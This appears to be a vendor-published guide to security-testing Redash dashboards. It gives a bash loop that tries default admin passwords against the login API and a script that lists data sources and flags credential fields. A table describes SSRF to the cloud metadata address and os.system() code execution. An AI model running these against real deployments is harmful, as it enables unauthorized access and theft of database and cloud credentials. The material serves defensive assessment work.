Redash Security Testing: Default Credentials, Query Injection, SSRF, and Data Source Credential Exposure

Redash is a widely deployed open-source data visualization and dashboarding platform, used by companies to give business users access to SQL query results across multiple databases. Its security assessment covers several key areas: the Redash admin account must be created during initial setup — deployments where setup was rushed or cloned from a template may retain predictable admin credentials; the query API allows users with query execution permissions to run arbitrary SQL against all configured data sources, which often include production databases with broad read access; Redash stores data source credentials (database passwords, API keys, AWS access keys) in its PostgreSQL metadata database and exposes them to admin users via the /api/data_sources endpoint; the URL data source type allows Redash to fetch JSON from arbitrary HTTP URLs enabling SSRF to internal services when a user creates a query with an internal URL; signed dashboard embed URLs bypass authentication to allow public sharing, and if the signing secret is weak or leaked, attackers can forge embed tokens; and Redash's Python data source allows executing arbitrary Python code on the Redash worker. This guide covers systematic Redash security assessment.

Table of Contents

  1. Redash Discovery and Version
  2. Admin Credential Testing
  3. Data Source Credential Extraction
  4. URL Data Source SSRF
  5. Python Data Source RCE
  6. Redash Security Hardening

Admin Credential Testing

# Redash default port: 5000 (direct) or 80/443 (via nginx proxy)
# Admin setup at /setup on first run

# Check if Redash is accessible
curl -s -o /dev/null -w "%{http_code}" \
  http://redash.example.com/login 2>/dev/null

# Get Redash version (exposed in page source)
curl -s http://redash.example.com/login 2>/dev/null | \
  grep -oE 'version["\s]*:["\s]*"[0-9]+\.[0-9]+\.[0-9]+"' | head -3

# Test common default credentials via Redash login API
for CRED in "admin:admin" "admin:password" "admin:redash" "admin:changeme"; do
  USER="${CRED%%:*}"
  PASS="${CRED##*:}"
  RESPONSE=$(curl -s -X POST http://redash.example.com/login \
    -H "Content-Type: application/x-www-form-urlencoded" \
    -d "email=${USER}%40example.com&password=${PASS}" \
    -c /tmp/redash_cookies -b /tmp/redash_cookies 2>/dev/null)
  # Successful login redirects to /
  HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" \
    -b /tmp/redash_cookies \
    http://redash.example.com/api/users/me 2>/dev/null)
  if [ "$HTTP_CODE" == "200" ]; then
    echo "Login successful with ${CRED}"
  fi
done

Data Source Credential Extraction

# Admin users can list all data sources and see masked credentials
# The API sometimes returns credential details depending on version and configuration

# List all configured data sources (requires admin or viewer session)
AUTH_TOKEN="your-api-key-here"
curl -s http://redash.example.com/api/data_sources \
  -H "Authorization: Key ${AUTH_TOKEN}" 2>/dev/null | \
  python3 -c "
import json,sys
sources = json.load(sys.stdin)
print(f'Data sources: {len(sources)}')
for s in sources:
    ds_type = s.get('type','?')
    name = s.get('name','?')
    options = s.get('options', {})
    # Credentials may appear in options depending on Redash version
    sensitive = {k:v for k,v in options.items()
                 if any(x in k.lower() for x in ['pass','secret','key','token','auth'])}
    print(f'  {name} ({ds_type}): host={options.get(\"host\",\"?\")} db={options.get(\"dbname\",\"?\")}')
    if sensitive:
        print(f'    SENSITIVE FIELDS: {list(sensitive.keys())}')
" 2>/dev/null

Redash Security Hardening

Redash Security Hardening Checklist:
Security TestMethodRisk
Default or weak admin credentialsPOST /login with admin@example.com/admin — tests for predictable setup-phase credentialsCritical
Data source credentials accessible via APIGET /api/data_sources with admin token — retrieves all data source configs including database passwordsHigh
URL data source SSRFCreate URL query with http://169.254.169.254/ — Redash worker fetches URL from internal networkHigh
Python data source arbitrary code executionCreate Python query with os.system() — executes arbitrary code on Redash worker processCritical
Broad SQL execution on production databasesAuthenticated query across all data sources — test scope of access vs intended analyst permissionsHigh
Embed token bypass for public dashboard accessAccess /embed/query/{id}/visualization/{id} — verify if unauthenticated embed access exposes sensitive dataMedium

Automate Redash Security Testing

Ironimo tests Redash deployments for default and weak admin credentials from initial setup, data source credentials (database passwords, AWS keys, API tokens) accessible via the /api/data_sources endpoint, URL data source SSRF enabling requests to AWS metadata or internal services from Redash workers, Python query runner allowing arbitrary code execution when enabled, overly broad SQL query permissions giving analysts access to production database content beyond their intended scope, and signed embed tokens providing unauthenticated dashboard access.

Start free scan